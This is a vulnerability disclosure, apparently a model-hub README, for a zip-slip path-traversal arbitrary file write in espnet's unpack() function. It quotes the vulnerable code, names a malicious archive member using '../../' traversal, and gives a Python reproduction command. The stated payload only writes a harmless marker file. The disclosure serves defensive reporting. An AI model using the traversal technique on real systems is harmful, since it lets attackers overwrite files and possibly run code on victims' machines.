espnet unpack() zip-slip / path-traversal arbitrary file write (PoC model)

This repository contains a benign proof-of-concept model archive that demonstrates a path-traversal / zip-slip arbitrary file write in espnet.

  • Affected code: espnet2/main_funcs/pack_funcs.py, function unpack() (commit 85ac06a1f773ab842169d73e8805801d61a4a738).
  • Reached by the public model-loading path espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...) โ†’ unpack_local_file(...) โ†’ pack_funcs.unpack(archive, cachedir).

Root cause

When espnet unpacks a model archive, every member whose name is listed in the archive's meta.yaml yaml_files is written with a manually joined path:

fname   = archive.get_name_from_info(info)   # attacker-controlled member name
outname = outpath / fname                     # no basename / no containment check
outname.parent.mkdir(parents=True, exist_ok=True)
with outname.open("w") as f:                   # writes OUTSIDE outpath if fname has ../
    yaml.safe_dump(d, f)

The member name is never sanitised, so a name such as ../../ESPNET_ZIPSLIP_ESCAPED.yaml escapes the intended extraction directory. Because the write uses a manual join + open("w") (not ZipFile.extract), this escape works even for plain .zip archives, bypassing zipfile's own .. protection. The non-yaml branch (archive.extract(...)) additionally enables classic tar-slip for .tar/.tgz archives. An attacker who publishes a model can therefore drop files at arbitrary filesystem locations (e.g. overwrite a startup script or config), leading to potential code execution.

Contents

  • espnet_zipslip_poc.zip โ€” a minimal malicious espnet model archive. It contains meta.yaml and one member literally named ../../ESPNET_ZIPSLIP_ESCAPED.yaml.

benign PoC โ€” writes a marker only: the escaping member writes a harmless YAML marker (marker: ESPNET_ZIPSLIP_ESCAPED); it performs no destructive action.

Reproduce

pip install espnet
python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
(o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
unpack(str(o/'model.zip'), str(o)); \
print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"

Expected output ends with:

ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: True

The file ESPNET_ZIPSLIP_ESCAPED.yaml appears two directories above the extraction directory, proving the traversal.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support